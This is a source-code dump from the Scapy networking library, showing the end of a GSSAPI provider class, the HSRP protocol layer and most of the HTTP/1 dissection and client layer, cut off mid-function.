qop_req=qop_req,\n        )\n        if _msgs[0].data:\n            signature /= _msgs[0].data\n        return signature\n\n    # sect 2.3.4\n\n    def GSS_Unwrap(\n        self,\n        Context: CONTEXT,\n        signature,\n    ):\n        \"\"\"\n        See GSS_UnwrapEx\n        \"\"\"\n        data = b\"\"\n        if signature.payload:\n            # signature has a payload that is the data. Let's get that payload\n            # in its original form, and use it for verifying the checksum.\n            if signature.payload.original:\n                data = signature.payload.original\n            else:\n                data = bytes(signature.payload)\n            signature = signature.copy()\n            signature.remove_payload()\n        return self.GSS_UnwrapEx(\n            Context,\n            [\n                self.WRAP_MSG(\n                    conf_req_flag=True,\n                    sign=True,\n                    data=data,\n                )\n            ],\n            signature,\n        )[0].data\n\n    # MISC\n\n    def NegTokenInit2(self):\n        \"\"\"\n        Server-Initiation\n        See [MS-SPNG] sect 3.2.5.2\n        \"\"\"\n        return None, None\n\n    def SupportsMechListMIC(self):\n        \"\"\"\n        Returns whether mechListMIC is supported or not\n        \"\"\"\n        return True\n\n    def GetMechListMIC(self, Context, input):\n        \"\"\"\n        Compute mechListMIC\n        \"\"\"\n        return self.GSS_GetMIC(Context, input)\n\n    def VerifyMechListMIC(self, Context, otherMIC, input):\n        \"\"\"\n        Verify mechListMIC\n        \"\"\"\n        return self.GSS_VerifyMIC(Context, input, otherMIC)\n\n    def LegsAmount(self, Context: CONTEXT):\n        \"\"\"\n        Returns the amount of 'legs' (how MS calls it) of the SSP.\n\n        i.e. 2 for Kerberos, 3 for NTLM and Netlogon\n        \"\"\"\n        return 2\n"
  },
  {
    "path": "scapy/layers/hsrp.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C)  Mathieu RENARD <mathieu.renard(at)gmail.com>\n\n\"\"\"\nHSRP (Hot Standby Router Protocol)\nA proprietary redundancy protocol for Cisco routers.\n\n- HSRP Version 1: RFC 2281\n- HSRP Version 2:\n    http://www.smartnetworks.jp/2006/02/hsrp_8_hsrp_version_2.html\n\"\"\"\n\nfrom scapy.config import conf\nfrom scapy.fields import ByteEnumField, ByteField, IPField, SourceIPField, \\\n    StrFixedLenField, XIntField, XShortField\nfrom scapy.packet import Packet, bind_layers, bind_bottom_up\nfrom scapy.layers.inet import DestIPField, UDP\n\n\nclass HSRP(Packet):\n    name = \"HSRP\"\n    fields_desc = [\n        ByteField(\"version\", 0),\n        ByteEnumField(\"opcode\", 0, {0: \"Hello\", 1: \"Coup\", 2: \"Resign\", 3: \"Advertise\"}),  # noqa: E501\n        ByteEnumField(\"state\", 16, {0: \"Initial\", 1: \"Learn\", 2: \"Listen\", 4: \"Speak\", 8: \"Standby\", 16: \"Active\"}),  # noqa: E501\n        ByteField(\"hellotime\", 3),\n        ByteField(\"holdtime\", 10),\n        ByteField(\"priority\", 120),\n        ByteField(\"group\", 1),\n        ByteField(\"reserved\", 0),\n        StrFixedLenField(\"auth\", b\"cisco\" + b\"\\00\" * 3, 8),\n        IPField(\"virtualIP\", \"192.168.1.1\")]\n\n    def guess_payload_class(self, payload):\n        if self.underlayer.len > 28:\n            return HSRPmd5\n        else:\n            return Packet.guess_payload_class(self, payload)\n\n\nclass HSRPmd5(Packet):\n    name = \"HSRP MD5 Authentication\"\n    fields_desc = [\n        ByteEnumField(\"type\", 4, {4: \"MD5 authentication\"}),\n        ByteField(\"len\", None),\n        ByteEnumField(\"algo\", 0, {1: \"MD5\"}),\n        ByteField(\"padding\", 0x00),\n        XShortField(\"flags\", 0x00),\n        SourceIPField(\"sourceip\"),\n        XIntField(\"keyid\", 0x00),\n        StrFixedLenField(\"authdigest\", b\"\\00\" * 16, 16)]\n\n    def post_build(self, p, pay):\n        if self.len is None and pay:\n            tmp_len = len(pay)\n            p = p[:1] + hex(tmp_len)[30:] + p[30:]\n        return p\n\n\nbind_bottom_up(UDP, HSRP, dport=1985)\nbind_bottom_up(UDP, HSRP, sport=1985)\nbind_bottom_up(UDP, HSRP, dport=2029)\nbind_bottom_up(UDP, HSRP, sport=2029)\nbind_layers(UDP, HSRP, dport=1985, sport=1985)\nbind_layers(UDP, HSRP, dport=2029, sport=2029)\nDestIPField.bind_addr(UDP, \"224.0.0.2\", dport=1985)\nif conf.ipv6_enabled:\n    from scapy.layers.inet6 import DestIP6Field\n    DestIP6Field.bind_addr(UDP, \"ff02::66\", dport=2029)\n"
  },
  {
    "path": "scapy/layers/http.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2012 Luca Invernizzi <invernizzi.l@gmail.com>\n# Copyright (C) 2012 Steeve Barbeau <http://www.sbarbeau.fr>\n# Copyright (C) 2019 Gabriel Potter <gabriel[]potter[]fr>\n\n\"\"\"\nHTTP 1.0 layer.\n\nLoad using::\n\n    from scapy.layers.http import *\n\nOr (console only)::\n\n    >>> load_layer(\"http\")\n\nNote that this layer ISN'T loaded by default, as quite experimental for now.\n\nTo follow HTTP packets streams = group packets together to get the\nwhole request/answer, use ``TCPSession`` as::\n\n    >>> sniff(session=TCPSession)  # Live on-the-flow session\n    >>> sniff(offline=\"./http_chunk.pcap\", session=TCPSession)  # pcap\n\nThis will decode HTTP packets using ``Content_Length`` or chunks,\nand will also decompress the packets when needed.\nNote: on failure, decompression will be ignored.\n\nYou can turn auto-decompression/auto-compression off with::\n\n    >>> conf.contribs[\"http\"][\"auto_compression\"] = False\n\n(Defaults to True)\n\nYou can also turn auto-chunking/dechunking off with::\n\n    >>> conf.contribs[\"http\"][\"auto_chunk\"] = False\n\n(Defaults to True)\n\"\"\"\n\n# This file is a rewritten version of the former scapy_http plugin.\n# It was reimplemented for scapy 2.4.3+ using sessions, stream handling.\n# Original Authors : Steeve Barbeau, Luca Invernizzi\n\nimport base64\nimport datetime\nimport gzip\nimport io\nimport os\nimport re\nimport socket\nimport ssl\nimport struct\nimport subprocess\n\nfrom enum import Enum\n\nfrom scapy.compat import plain_str, bytes_encode\n\nfrom scapy.automaton import Automaton, ATMT\nfrom scapy.config import conf\nfrom scapy.consts import WINDOWS\nfrom scapy.error import warning, log_loading, log_interactive, Scapy_Exception\nfrom scapy.fields import StrField\nfrom scapy.packet import Packet, bind_layers, bind_bottom_up, Raw\nfrom scapy.supersocket import StreamSocket, SSLStreamSocket\nfrom scapy.utils import get_temp_file, ContextManagerSubprocess\n\nfrom scapy.layers.gssapi import (\n    ChannelBindingType,\n    GSSAPI_BLOB,\n    GSS_C_NO_CHANNEL_BINDINGS,\n    GSS_S_COMPLETE,\n    GSS_S_CONTINUE_NEEDED,\n    GSS_S_FAILURE,\n    GSS_S_FLAGS,\n    GssChannelBindings,\n)\nfrom scapy.layers.inet import TCP\n\ntry:\n    import brotli\n\n    _is_brotli_available = True\nexcept ImportError:\n    _is_brotli_available = False\n\ntry:\n    import lzw\n\n    _is_lzw_available = True\nexcept ImportError:\n    _is_lzw_available = False\n\ntry:\n    import zstandard\n\n    _is_zstd_available = True\nexcept ImportError:\n    _is_zstd_available = False\n\nif \"http\" not in conf.contribs:\n    conf.contribs[\"http\"] = {}\n    conf.contribs[\"http\"][\"auto_compression\"] = True\n    conf.contribs[\"http\"][\"auto_chunk\"] = True\n\n# https://en.wikipedia.org/wiki/List_of_HTTP_header_fields\n\nGENERAL_HEADERS = [\n    \"Cache-Control\",\n    \"Connection\",\n    \"Permanent\",\n    \"Content-Length\",\n    \"Content-MD5\",\n    \"Content-Type\",\n    \"Date\",\n    \"Keep-Alive\",\n    \"Pragma\",\n    \"Upgrade\",\n    \"Via\",\n    \"Warning\",\n]\n\nCOMMON_UNSTANDARD_GENERAL_HEADERS = [\"X-Request-ID\", \"X-Correlation-ID\"]\n\nREQUEST_HEADERS = [\n    \"A-IM\",\n    \"Accept\",\n    \"Accept-Charset\",\n    \"Accept-Encoding\",\n    \"Accept-Language\",\n    \"Accept-Datetime\",\n    \"Access-Control-Request-Method\",\n    \"Access-Control-Request-Headers\",\n    \"Authorization\",\n    \"Cookie\",\n    \"Expect\",\n    \"Forwarded\",\n    \"From\",\n    \"Host\",\n    \"HTTP2-Settings\",\n    \"If-Match\",\n    \"If-Modified-Since\",\n    \"If-None-Match\",\n    \"If-Range\",\n    \"If-Unmodified-Since\",\n    \"Max-Forwards\",\n    \"Origin\",\n    \"Proxy-Authorization\",\n    \"Range\",\n    \"Referer\",\n    \"TE\",\n    \"User-Agent\",\n]\n\nCOMMON_UNSTANDARD_REQUEST_HEADERS = [\n    \"Upgrade-Insecure-Requests\",\n    \"X-Requested-With\",\n    \"DNT\",\n    \"X-Forwarded-For\",\n    \"X-Forwarded-Host\",\n    \"X-Forwarded-Proto\",\n    \"Front-End-Https\",\n    \"X-Http-Method-Override\",\n    \"X-ATT-DeviceId\",\n    \"X-Wap-Profile\",\n    \"Proxy-Connection\",\n    \"X-UIDH\",\n    \"X-Csrf-Token\",\n    \"Save-Data\",\n]\n\nRESPONSE_HEADERS = [\n    \"Access-Control-Allow-Origin\",\n    \"Access-Control-Allow-Credentials\",\n    \"Access-Control-Expose-Headers\",\n    \"Access-Control-Max-Age\",\n    \"Access-Control-Allow-Methods\",\n    \"Access-Control-Allow-Headers\",\n    \"Accept-Patch\",\n    \"Accept-Ranges\",\n    \"Age\",\n    \"Allow\",\n    \"Alt-Svc\",\n    \"Content-Disposition\",\n    \"Content-Encoding\",\n    \"Content-Language\",\n    \"Content-Location\",\n    \"Content-Range\",\n    \"Delta-Base\",\n    \"ETag\",\n    \"Expires\",\n    \"IM\",\n    \"Last-Modified\",\n    \"Link\",\n    \"Location\",\n    \"P3P\",\n    \"Proxy-Authenticate\",\n    \"Public-Key-Pins\",\n    \"Retry-After\",\n    \"Server\",\n    \"Set-Cookie\",\n    \"Strict-Transport-Security\",\n    \"Trailer\",\n    \"Transfer-Encoding\",\n    \"Tk\",\n    \"Vary\",\n    \"WWW-Authenticate\",\n    \"X-Frame-Options\",\n]\n\nCOMMON_UNSTANDARD_RESPONSE_HEADERS = [\n    \"Content-Security-Policy\",\n    \"X-Content-Security-Policy\",\n    \"X-WebKit-CSP\",\n    \"Refresh\",\n    \"Status\",\n    \"Timing-Allow-Origin\",\n    \"X-Content-Duration\",\n    \"X-Content-Type-Options\",\n    \"X-Powered-By\",\n    \"X-UA-Compatible\",\n    \"X-XSS-Protection\",\n]\n\n# Dissection / Build tools\n\n\ndef _strip_header_name(name):\n    \"\"\"Takes a header key (i.e., \"Host\" in \"Host: www.google.com\",\n    and returns a stripped representation of it\n    \"\"\"\n    return plain_str(name.strip()).replace(\"-\", \"_\")\n\n\ndef _header_line(name, val):\n    \"\"\"Creates a HTTP header line\"\"\"\n    # Python 3.4 doesn't support % on bytes\n    return bytes_encode(name) + b\": \" + bytes_encode(val)\n\n\ndef _parse_headers(s):\n    headers = s.split(b\"\\r\\n\")\n    headers_found = {}\n    for header_line in headers:\n        try:\n            key, value = header_line.split(b\":\", 1)\n        except ValueError:\n            continue\n        header_key = _strip_header_name(key).lower()\n        headers_found[header_key] = (key, value.strip())\n    return headers_found\n\n\ndef _parse_headers_and_body(s):\n    \"\"\"Takes a HTTP packet, and returns a tuple containing:\n    _ the first line (e.g., \"GET ...\")\n    _ the headers in a dictionary\n    _ the body\n    \"\"\"\n    crlfcrlf = b\"\\r\\n\\r\\n\"\n    crlfcrlfIndex = s.find(crlfcrlf)\n    if crlfcrlfIndex != -1:\n        headers = s[: crlfcrlfIndex + len(crlfcrlf)]\n        body = s[crlfcrlfIndex + len(crlfcrlf) :]\n    else:\n        headers = s\n        body = b\"\"\n    first_line, headers = headers.split(b\"\\r\\n\", 1)\n    return first_line.strip(), _parse_headers(headers), body\n\n\ndef _dissect_headers(obj, s):\n    \"\"\"Takes a HTTP packet as the string s, and populates the scapy layer obj\n    (either HTTPResponse or HTTPRequest). Returns the first line of the\n    HTTP packet, and the body\n    \"\"\"\n    first_line, headers, body = _parse_headers_and_body(s)\n    for f in obj.fields_desc:\n        # We want to still parse wrongly capitalized fields\n        stripped_name = _strip_header_name(f.name).lower()\n        try:\n            _, value = headers.pop(stripped_name)\n        except KeyError:\n            continue\n        obj.setfieldval(f.name, value)\n    if headers:\n        headers = dict(headers.values())\n        obj.setfieldval(\"Unknown_Headers\", headers)\n    return first_line, body\n\n\nclass _HTTPContent(Packet):\n    __slots__ = [\"_original_len\"]\n\n    # https://developer.mozilla.org/fr/docs/Web/HTTP/Headers/Transfer-Encoding\n    def _get_encodings(self):\n        encodings = []\n        if isinstance(self, HTTPResponse):\n            if self.Transfer_Encoding:\n                encodings += [\n                    plain_str(x).strip().lower()\n                    for x in plain_str(self.Transfer_Encoding).split(\",\")\n                ]\n            if self.Content_Encoding:\n                encodings += [\n                    plain_str(x).strip().lower()\n                    for x in plain_str(self.Content_Encoding).split(\",\")\n                ]\n        return encodings\n\n    def hashret(self):\n        return b\"HTTP1\"\n\n    def post_dissect(self, s):\n        self._original_len = len(s)\n        encodings = self._get_encodings()\n        # Un-chunkify\n        if conf.contribs[\"http\"][\"auto_chunk\"] and \"chunked\" in encodings:\n            data = b\"\"\n            while s:\n                length, _, body = s.partition(b\"\\r\\n\")\n                try:\n                    length = int(length, 16)\n                except ValueError:\n                    # Not a valid chunk. Ignore\n                    break\n                else:\n                    load = body[:length]\n                    if body[length : length + 2] != b\"\\r\\n\":\n                        # Invalid chunk. Ignore\n                        break\n                    s = body[length + 2 :]\n                    data += load\n            if not s:\n                s = data\n        if not conf.contribs[\"http\"][\"auto_compression\"]:\n            return s\n        # Decompress\n        try:\n            if \"deflate\" in encodings:\n                import zlib\n\n                s = zlib.decompress(s)\n            elif \"gzip\" in encodings:\n                s = gzip.decompress(s)\n            elif \"compress\" in encodings:\n                if _is_lzw_available:\n                    s = lzw.decompress(s)\n                else:\n                    log_loading.info(\n                        \"Can't import lzw. compress decompression \" \"will be ignored !\"\n                    )\n            elif \"br\" in encodings:\n                if _is_brotli_available:\n                    s = brotli.decompress(s)\n                else:\n                    log_loading.info(\n                        \"Can't import brotli. brotli decompression \" \"will be ignored !\"\n                    )\n            elif \"zstd\" in encodings:\n                if _is_zstd_available:\n                    # Using its streaming API since its simple API could handle\n                    # only cases where there is content size data embedded in\n                    # the frame\n                    bio = io.BytesIO(s)\n                    reader = zstandard.ZstdDecompressor().stream_reader(bio)\n                    s = reader.read()\n                else:\n                    log_loading.info(\n                        \"Can't import zstandard. zstd decompression \"\n                        \"will be ignored !\"\n                    )\n        except Exception:\n            # Cannot decompress - probably incomplete data\n            pass\n        return s\n\n    def post_build(self, pkt, pay):\n        encodings = self._get_encodings()\n        if conf.contribs[\"http\"][\"auto_compression\"]:\n            # Compress\n            if \"deflate\" in encodings:\n                import zlib\n\n                pay = zlib.compress(pay)\n            elif \"gzip\" in encodings:\n                pay = gzip.compress(pay)\n            elif \"compress\" in encodings:\n                if _is_lzw_available:\n                    pay = lzw.compress(pay)\n                else:\n                    log_loading.info(\n                        \"Can't import lzw. compress compression \" \"will be ignored !\"\n                    )\n            elif \"br\" in encodings:\n                if _is_brotli_available:\n                    pay = brotli.compress(pay)\n                else:\n                    log_loading.info(\n                        \"Can't import brotli. brotli compression will \" \"be ignored !\"\n                    )\n            elif \"zstd\" in encodings:\n                if _is_zstd_available:\n                    pay = zstandard.ZstdCompressor().compress(pay)\n                else:\n                    log_loading.info(\n                        \"Can't import zstandard. zstd compression will \" \"be ignored !\"\n                    )\n        # Chunkify\n        if conf.contribs[\"http\"][\"auto_chunk\"] and \"chunked\" in encodings:\n            # Dumb: 1 single chunk.\n            pay = (b\"%X\" % len(pay)) + b\"\\r\\n\" + pay + b\"\\r\\n0\\r\\n\\r\\n\"\n        return pkt + pay\n\n    def self_build(self, **kwargs):\n        \"\"\"Takes an HTTPRequest or HTTPResponse object, and creates its\n        string representation.\"\"\"\n        if not isinstance(self.underlayer, HTTP):\n            warning(\"An HTTPResponse/HTTPRequest should always be below an HTTP\")\n        # Check for cache\n        if self.raw_packet_cache is not None:\n            return self.raw_packet_cache\n        p = b\"\"\n        encodings = self._get_encodings()\n        # Walk all the fields, in order\n        for i, f in enumerate(self.fields_desc):\n            if f.name == \"Unknown_Headers\":\n                continue\n            # Get the field value\n            val = self.getfieldval(f.name)\n            if not val:\n                if f.name == \"Content_Length\" and \"chunked\" not in encodings:\n                    # Add Content-Length anyways\n                    val = str(len(self.payload or b\"\"))\n                elif f.name == \"Date\" and isinstance(self, HTTPResponse):\n                    val = datetime.datetime.now(datetime.timezone.utc).strftime(\n                        \"%a, %d %b %Y %H:%M:%S GMT\"\n                    )\n                else:\n                    # Not specified. Skip\n                    continue\n\n            if i >= 3:\n                val = _header_line(f.real_name, val)\n            # Fields used in the first line have a space as a separator,\n            # whereas headers are terminated by a new line\n            if i <= 1:\n                separator = b\" \"\n            else:\n                separator = b\"\\r\\n\"\n            # Add the field into the packet\n            p = f.addfield(self, p, val + separator)\n        # Handle Unknown_Headers\n        if self.Unknown_Headers:\n            headers_text = b\"\"\n            for name, value in self.Unknown_Headers.items():\n                headers_text += _header_line(name, value) + b\"\\r\\n\"\n            p = self.get_field(\"Unknown_Headers\").addfield(self, p, headers_text)\n        # The packet might be empty, and in that case it should stay empty.\n        if p:\n            # Add an additional line after the last header\n            p = f.addfield(self, p, b\"\\r\\n\")\n        return p\n\n    def guess_payload_class(self, payload):\n        \"\"\"Detect potential payloads\"\"\"\n        if not hasattr(self, \"Connection\"):\n            return super(_HTTPContent, self).guess_payload_class(payload)\n        if self.Connection and b\"Upgrade\" in self.Connection:\n            from scapy.contrib.http2 import H2Frame\n\n            return H2Frame\n        return super(_HTTPContent, self).guess_payload_class(payload)\n\n\nclass _HTTPHeaderField(StrField):\n    \"\"\"Modified StrField to handle HTTP Header names\"\"\"\n\n    __slots__ = [\"real_name\"]\n\n    def __init__(self, name, default):\n        self.real_name = name\n        name = _strip_header_name(name)\n        StrField.__init__(self, name, default, fmt=\"H\")\n\n    def i2repr(self, pkt, x):\n        if isinstance(x, bytes):\n            return x.decode(errors=\"backslashreplace\")\n        return x\n\n\ndef _generate_headers(*args):\n    \"\"\"Generate the header fields based on their name\"\"\"\n    # Order headers\n    all_headers = []\n    for headers in args:\n        all_headers += headers\n    # Generate header fields\n    results = []\n    for h in sorted(all_headers):\n        results.append(_HTTPHeaderField(h, None))\n    return results\n\n\n# Create Request and Response packets\n\n\nclass HTTPRequest(_HTTPContent):\n    name = \"HTTP Request\"\n    fields_desc = (\n        [\n            # First line\n            _HTTPHeaderField(\"Method\", \"GET\"),\n            _HTTPHeaderField(\"Path\", \"/\"),\n            _HTTPHeaderField(\"Http-Version\", \"HTTP/1.1\"),\n            # Headers\n        ]\n        + (\n            _generate_headers(\n                GENERAL_HEADERS,\n                REQUEST_HEADERS,\n                COMMON_UNSTANDARD_GENERAL_HEADERS,\n                COMMON_UNSTANDARD_REQUEST_HEADERS,\n            )\n        )\n        + [\n            _HTTPHeaderField(\"Unknown-Headers\", None),\n        ]\n    )\n\n    def do_dissect(self, s):\n        \"\"\"From the HTTP packet string, populate the scapy object\"\"\"\n        first_line, body = _dissect_headers(self, s)\n        try:\n            Method, Path, HTTPVersion = re.split(rb\"\\s+\", first_line, maxsplit=2)\n            self.setfieldval(\"Method\", Method)\n            self.setfieldval(\"Path\", Path)\n            self.setfieldval(\"Http_Version\", HTTPVersion)\n        except ValueError:\n            pass\n        if body:\n            self.raw_packet_cache = s[: -len(body)]\n        else:\n            self.raw_packet_cache = s\n        return body\n\n    def mysummary(self):\n        return self.sprintf(\"%HTTPRequest.Method% '%HTTPRequest.Path%' \")\n\n\nclass HTTPResponse(_HTTPContent):\n    name = \"HTTP Response\"\n    fields_desc = (\n        [\n            # First line\n            _HTTPHeaderField(\"Http-Version\", \"HTTP/1.1\"),\n            _HTTPHeaderField(\"Status-Code\", \"200\"),\n            _HTTPHeaderField(\"Reason-Phrase\", \"OK\"),\n            # Headers\n        ]\n        + (\n            _generate_headers(\n                GENERAL_HEADERS,\n                RESPONSE_HEADERS,\n                COMMON_UNSTANDARD_GENERAL_HEADERS,\n                COMMON_UNSTANDARD_RESPONSE_HEADERS,\n            )\n        )\n        + [\n            _HTTPHeaderField(\"Unknown-Headers\", None),\n        ]\n    )\n\n    def answers(self, other):\n        return HTTPRequest in other\n\n    def do_dissect(self, s):\n        \"\"\"From the HTTP packet string, populate the scapy object\"\"\"\n        first_line, body = _dissect_headers(self, s)\n        try:\n            HTTPVersion, Status, Reason = re.split(rb\"\\s+\", first_line, maxsplit=2)\n            self.setfieldval(\"Http_Version\", HTTPVersion)\n            self.setfieldval(\"Status_Code\", Status)\n            self.setfieldval(\"Reason_Phrase\", Reason)\n        except ValueError:\n            pass\n        if body:\n            self.raw_packet_cache = s[: -len(body)]\n        else:\n            self.raw_packet_cache = s\n        return body\n\n    def mysummary(self):\n        return self.sprintf(\"%HTTPResponse.Status_Code% %HTTPResponse.Reason_Phrase%\")\n\n\n# General HTTP class + defragmentation\n\n\nclass HTTP(Packet):\n    name = \"HTTP 1\"\n    fields_desc = []\n    show_indent = 0\n    clsreq = HTTPRequest\n    clsresp = HTTPResponse\n    hdr = b\"HTTP\"\n    reqmethods = b\"|\".join(\n        [\n            b\"OPTIONS\",\n            b\"GET\",\n            b\"HEAD\",\n            b\"POST\",\n            b\"PUT\",\n            b\"DELETE\",\n            b\"TRACE\",\n            b\"CONNECT\",\n        ]\n    )\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt and len(_pkt) >= 9:\n            from scapy.contrib.http2 import _HTTP2_types, H2Frame\n\n            # To detect a valid HTTP2, we check that the type is correct\n            # that the Reserved bit is set and length makes sense.\n            while _pkt:\n                if len(_pkt) < 9:\n                    # Invalid total length\n                    return cls\n                if ord(_pkt[3:4]) not in _HTTP2_types:\n                    # Invalid type\n                    return cls\n                length = struct.unpack(\"!I\", b\"\\0\" + _pkt[:3])[0] + 9\n                if length > len(_pkt):\n                    # Invalid length\n                    return cls\n                sid = struct.unpack(\"!I\", _pkt[5:9])[0]\n                if sid >> 31 != 0:\n                    # Invalid Reserved bit\n                    return cls\n                _pkt = _pkt[length:]\n            return H2Frame\n        return cls\n\n    # tcp_reassemble is used by TCPSession in session.py\n    @classmethod\n    def tcp_reassemble(cls, data, metadata, session):\n        detect_end = metadata.get(\"detect_end\", None)\n        is_unknown = metadata.get(\"detect_unknown\", True)\n        # General idea of the following is explained at\n        # https://datatracker.ietf.org/doc/html/rfc2616#section-4.4\n        if not detect_end or is_unknown:\n            metadata[\"detect_unknown\"] = False\n            http_packet = cls(data)\n            # Detect packing method\n            if not isinstance(http_packet.payload, _HTTPContent):\n                return http_packet\n            is_response = isinstance(http_packet.payload, cls.clsresp)\n            # Packets may have a Content-Length we must honnor\n            length = http_packet.Content_Length\n            if length:\n                # Parse the length as an integer\n                try:\n                    length = int(length)\n                except ValueError:\n                    length = None\n            if length is not None:\n                # The packet provides a Content-Length attribute: let's\n                # use it. When the total size of the frags is high enough,\n                # we have the packet\n\n                if session.pop(\"head_request\", False):\n                    # Answer to a HEAD request.\n                    detect_end = lambda dat: dat.find(b\"\\r\\n\\r\\n\")\n\n                # Subtract the length of the \"HTTP*\" layer\n                elif http_packet.payload.payload or length == 0:\n                    http_length = len(data) - http_packet.payload._original_len\n                    detect_end = lambda dat: len(dat) - http_length >= length\n                else:\n                    # The HTTP layer isn't fully received.\n                    if metadata.get(\"tcp_end\", False):\n                        # This was likely a HEAD response. Ugh\n                        detect_end = lambda dat: True\n                    else:\n                        detect_end = lambda dat: False\n                        metadata[\"detect_unknown\"] = True\n            else:\n                # It's not Content-Length based. It could be chunked\n                encodings = http_packet[cls].payload._get_encodings()\n                chunked = \"chunked\" in encodings\n                if chunked:\n                    detect_end = lambda dat: dat.endswith(b\"0\\r\\n\\r\\n\")\n                # HTTP Requests that do not have any content,\n                # end with a double CRLF.\n                elif isinstance(http_packet.payload, cls.clsreq):\n                    detect_end = lambda dat: dat.endswith(b\"\\r\\n\\r\\n\")\n                    # In case we are handling a HTTP Request,\n                    # we want to continue assessing the data,\n                    # to handle requests with a body (POST)\n                    metadata[\"detect_unknown\"] = True\n                    if (\n                        isinstance(http_packet.payload, cls.clsreq)\n                        and http_packet.Method == b\"HEAD\"\n                    ):\n                        session[\"head_request\"] = True\n                elif is_response and http_packet.Status_Code == b\"101\":\n                    # If it's an upgrade response, it may also hold a\n                    # different protocol data.\n                    # make sure all headers are present\n                    detect_end = lambda dat: dat.find(b\"\\r\\n\\r\\n\")\n                else:\n                    # If neither Content-Length nor chunked is specified,\n                    # it means it's the TCP packet that contains the data,\n                    # or that the information hasn't been given yet.\n                    detect_end = lambda dat: metadata.get(\"tcp_end\", False)\n                    metadata[\"detect_unknown\"] = True\n            metadata[\"detect_end\"] = detect_end\n            if detect_end(data):\n                return http_packet\n        else:\n            if detect_end(data):\n                http_packet = cls(data)\n                return http_packet\n\n    def guess_payload_class(self, payload):\n        \"\"\"Decides if the payload is an HTTP Request or Response, or\n        something else.\n        \"\"\"\n        try:\n            prog = re.compile(\n                rb\"^(?:\"\n                + self.reqmethods\n                + rb\") \"\n                + rb\"(?:.+?) \"\n                + self.hdr\n                + rb\"/\\d\\.\\d$\"\n            )\n            crlfIndex = payload.index(b\"\\r\\n\")\n            req = payload[:crlfIndex]\n            result = prog.match(req)\n            if result:\n                return self.clsreq\n            else:\n                prog = re.compile(b\"^\" + self.hdr + rb\"/\\d\\.\\d \\d\\d\\d .*$\")\n                result = prog.match(req)\n                if result:\n                    return self.clsresp\n        except ValueError:\n            # Anything that isn't HTTP but on port 80\n            pass\n        return Raw\n\n\nclass HTTP_AUTH_MECHS(Enum):\n    NONE = \"NONE\"\n    BASIC = \"Basic\"\n    NTLM = \"NTLM\"\n    NEGOTIATE = \"Negotiate\"\n\n\nclass HTTP_Client(object):\n    \"\"\"\n    A basic HTTP client\n\n    :param mech: one of HTTP_AUTH_MECHS\n    :param ssl: whether to use HTTPS or not\n    :param ssp: the SSP object to use for binding\n    :param no_check_certificate: with SSL, do not check the certificate\n    :param no_chan_bindings: force disable sending the channel bindings\n    \"\"\"\n\n    def __init__(\n        self,\n        mech=HTTP_AUTH_MECHS.NONE,\n        verb=True,\n        sslcontext=None,\n        ssp=None,\n        no_check_certificate=False,\n        no_chan_bindings=False,\n    ):\n        self.sock = None\n        self._sockinfo = None\n        self.authmethod = mech\n        self.verb = verb\n        self.sslcontext = sslcontext\n        self.ssp = ssp\n        self.sspcontext = None\n        self.no_check_certificate = no_check_certificate\n        self.no_chan_bindings = no_chan_bindings\n        self.chan_bindings = GSS_C_NO_CHANNEL_BINDINGS\n\n    def _connect_or_reuse(self, host, port=None, tls=False, timeout=5):\n        # Get the port\n        if port is None:\n            port = 443 if tls else 80\n        # If the current socket matches, keep it.\n        if self._sockinfo == (host, port):\n            return\n        # A new socket is needed\n        if self._sockinfo:\n            self.close()\n        sock = socket.socket()\n        sock.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)\n        sock.settimeout(timeout)\n        if self.verb:\n            print(\n                \"\\u2503 Connecting to %s on port %s%s...\"\n                % (\n                    host,\n                    port,\n                    \" with SSL\" if tls else \"\",\n                )\n            )\n        sock.connect((host, port))\n        if self.verb:\n            print(\n                conf.color_theme.green(\n                    \"\\u2514 Connected from %s\" % repr(sock.getsockname())\n                )\n            )\n        if tls:\n            if self.sslcontext is None:\n                if self.no_check_certificate:\n                    context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)\n                    context.check_hostname = False\n                    context.verify_mode = ssl.CERT_NONE\n                else:\n                    context = ssl.create_default_context()\n            else:\n                context = self.sslcontext\n            sock = context.wrap_socket(sock, server_hostname=host)\n            if self.ssp and not self.no_chan_bindings:\n                # Compute the channel binding token (CBT)\n                self.chan_bindings = GssChannelBindings.fromssl(\n                    ChannelBindingType.TLS_SERVER_END_POINT,\n                    sslsock=sock,\n                )\n            self.sock = SSLStreamSocket(sock, HTTP)\n        else:\n            self.sock = StreamSocket(sock, HTTP)\n        # Store information regarding the current socket\n        self._sockinfo = (host, port)\n\n    def sr1(self, req, **kwargs):\n        if self.verb:\n            print(conf.color_theme.opening(\">> %s\" % req.summary()))\n        resp = self.sock.sr1(\n            HTTP() / req,\n            verbose=0,\n            **kwargs,\n        )\n        if self.verb:\n            print(conf.color_theme.success(\"<< %s\" % (resp and resp.summary())))\n        return resp\n\n    def request(\n        self,\n        url,\n        data=b\"\",\n        timeout=5,\n        follow_redirects=True,\n        http_headers={},\n        **headers,\n    ):\n        \"\"\"\n        Perform a HTTP(s) request.\n\n        :param url: the full URL to connect to.\n            e.g. https://google.com/test\n        :param data: the data to send as payload\n        :param follow_redirects: if True, request() will follow 302 return codes\n        :param http_headers: if specified, overwrites the HTTP headers\n            (except Host and Path).\n        :param headers: any additional HTTPRequest parameter to add.\n            e.g. Method=\"POST\"\n        \"\"\"\n        # Parse request url\n        m = re.match(r\"(https?)://([^/:]+)(?:\\:(\\d+))?(/.*)?\", url)\n        if not m:\n            raise ValueError(\"Bad URL !\")\n        transport, host, port, path = m.groups()\n        if transport == \"https\":\n            tls = True\n        else:\n            tls = False\n\n        path = path or \"/\"\n        port = port and int(port)\n\n        # Connect (or reuse) socket\n        self._connect_or_reuse(host, port=port, tls=tls, timeout=timeout)\n\n        # Build request\n        if (tls and port != 443) or (not tls and port != 80):\n            host_hdr = \"%s:%d\" % (host, port)\n        else:\n            host_hdr = host\n\n        headers.setdefault(\"Host\", host_hdr)\n        headers.setdefault(\"Path\", path)\n\n        if not http_headers:\n            http_headers = {\n                \"Accept_Encoding\": b\"gzip, deflate\",\n                \"Cache_Control\": b\"no-cache\",\n                \"Pragma\": 